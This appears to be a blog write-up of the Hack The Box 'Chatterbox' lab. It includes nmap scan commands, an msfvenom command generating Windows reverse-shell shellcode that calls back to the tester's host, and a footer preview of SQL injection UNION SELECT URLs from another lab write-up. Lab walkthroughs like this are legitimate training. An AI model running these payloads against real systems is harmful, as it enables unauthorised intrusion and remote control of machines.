HTB Chatterbox OSCP No Metasploit

-

Lessons Learned

  1. nmap -sT -p- --min-rate 5000 --max-retries 1 10.10.10.74 -Pn (Use this if aggressive scan is slow)
  2. Password must be set on root for plink.exe to connect back to Kali (sudo su; passwd root)
  3. Must use root account for Ports 1024 and under to connect.

Walkthrough

First I scan using nmap. My usual nmap -A -p- 10.10.10.74 was on schedule for 3 hours and 30 minutes! I found this nmap option which IS BEAUTIFUL, AMAZING, and a TIME SAVER. If a box takes too long to scan, I will def turn to this. It will become a staple.

nmap -sT -p- --min-rate 5000 --max-retries 1 10.10.10.74 -Pn

I then do an aggressive scan on both of the ports. AChat is in the header. I searchsploit it.

Use msfvenom to generate python shellcode. Remember to include LHOST and LPORT. I changed the -p payload to windows/shell_reverse_tcp

msfvenom LHOST=10.10.14.2 LPORT=4444 -a x86 --platform Windows -p windows/shell_reverse_tcp -e x86/unicode_mixed -b '\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff' BufferRegister=EAX -f python

Run winPEAS.exe. We see that the password Welcome! is saved in WinLogon. Its possible the Admin password is that too. Will need to port forward the Samba Server to our Kali host.

Comments

Post a Comment

Popular posts from this blog

HTB - Jarvis MySQL

-
Image
Brad Traversy MySQL CheatSheet PentestMonkey SQL CheatSheet MySQL Statement Architecture Jarvis Walkthrough Step 1 - Try to make your query. Visualize it. SELECT Id, Name, Rating, Picture, Cost, Description, UNKNOWN7Field FROM Room WHERE Id = 1 Queries don't need a " or ' Keep going up until it works http://10.10.10.143/room.php?cod=3 union select 1,2,3,4 http://10.10.10.143/room.php?cod=3 union select 1,2,3,4,5 http://10.10.10.143/room.php?cod=3 union select 1,2,3,4,5,6 http://10.10.10.143/room.php?cod=3 union select 1,2,3,4,5,6,7 -OR- http://10.10.10.143/room.php?cod=3 order by 1,2,3,4,5,6,7 The union select works when the left and right are equal in column size. If the left has 7 selections, the right needs 7 selections too SELECT Id, Rating, Name, Cost, Description, UNKNOWN6 FROM Room WHERE Id = 1 UNION SELECT 1,2,3,4,5,6 In order to shift to the right side, put in a faulty value for 1 like negative 1 or 9999 SELECT Id, Rating, Name, Co
Read more

Palo Alto for GNS3 CCDC Tutorial

-
Image
Opening Hello fellow CCDC Competitors! Struggling to get a Palo-Alto VM? I know how you can get one! Email me at ASzampiasSWD@gmail.com. I'll tell you the steps to get a PA-VM for GNS3. Why am I giving this info to you? Wouldn't it make sense to hog the info to myself? Wouldn't my team have an advantage? There are have and have not universities when it comes to PaloAltos. I fell into the "have not" group. Our college didn't have access to PA-VMs and still doesn't. Even if PA Cybersecurity Academy is free, there is too much red tape. I can't change the outcome. I can only come up with this one solution. Another reason is Tri-C is a tryout team. I think its pretty unfair as a potential Firewall Admin I'm the only one with access. No one can challenge me unless they spend 2K for a PA-VM. It becomes a rich-person only position. I have a leftover PA-VM from 2018 I promised not to share. I couldn't share that with my challengers. But I f
Read more

Trace Labs Global Missing Persons CTF V

-
Image
Trace Labs CTF V TraceLabs hosted the Global Missing Persons CTF V event on July 11, 2020. My team //synergy got 64th place out of 190 teams. Introduction This was my first Trace Labs CTF. I captained a team. The good thing about being a captain is you can control who is on the team. My rules were: Must have sock puppet accounts ready. Must have a VPN. Writing out this is a competitive team where we work the entire 6 hours. I was worried about a future team member spamming submissions and disqualifying the team. I thought my requirements would eliminate people who weren't serious. The team hit 4 members Friday evening pretty quickly. Notes My laptop was too slow for this event. My virtual machine froze and I had to restart. Restarting means I have to login to my accounts again. I'll use my desktop next time. The team used Slack and Trello. Our strategy was to research a person and rotate every hour. This strategy broke after 1 rotation. Some missin
Read more